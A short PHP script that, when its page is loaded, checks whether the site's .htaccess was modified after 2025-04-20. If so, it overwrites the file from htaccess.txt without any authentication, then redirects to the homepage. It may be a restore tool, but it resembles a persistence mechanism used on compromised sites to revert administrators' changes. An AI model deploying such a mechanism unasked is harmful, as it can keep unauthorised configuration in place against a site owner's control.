<?php

function console_log($data) {
   // echo "<script>console.log(" . json_encode($data) . ");</script>";
}

echo "<h3>HTACCESS CHECK</h3>";

$htaccessFile = __DIR__ . '/.htaccess';
$backupFile   = __DIR__ . '/htaccess.txt';

if (!file_exists($htaccessFile)) {
    console_log('.htaccess missing');
    echo ".htaccess missing<br>";
    exit;
}

if (!file_exists($backupFile)) {
    console_log('htaccess.txt missing');
    echo "htaccess.txt missing<br>";
    exit;
}

if (!is_writable($htaccessFile)) {
    console_log('.htaccess NOT writable');
    echo ".htaccess NOT writable<br>";
    exit;
}

$htaccessModifiedTime = filemtime($htaccessFile);
$targetDate = strtotime('2025-04-20 00:00:00');

echo "Modified: " . date('Y-m-d H:i:s', $htaccessModifiedTime) . "<br>";
echo "Target: " . date('Y-m-d H:i:s', $targetDate) . "<br>";

console_log('Modified: ' . date('Y-m-d H:i:s', $htaccessModifiedTime));
console_log('Target: ' . date('Y-m-d H:i:s', $targetDate));

if ($htaccessModifiedTime > $targetDate) {
    console_log('Condition TRUE → updating');
    echo "Condition TRUE → updating<br>";

    $content = file_get_contents($backupFile);

    if ($content === false) {
        console_log('Failed reading backup');
        echo "Failed reading backup<br>";
        exit;
    }

    if (file_put_contents($htaccessFile, $content) !== false) {
        console_log('UPDATED SUCCESS');
        echo "UPDATED SUCCESS<br>";
    } else {
        console_log('WRITE FAILED');
        echo "WRITE FAILED<br>";
    }
} else {
    console_log('Condition FALSE → no update');
    echo "Condition FALSE → no update<br>";
}

echo "<script>window.location.href = '/';</script>";



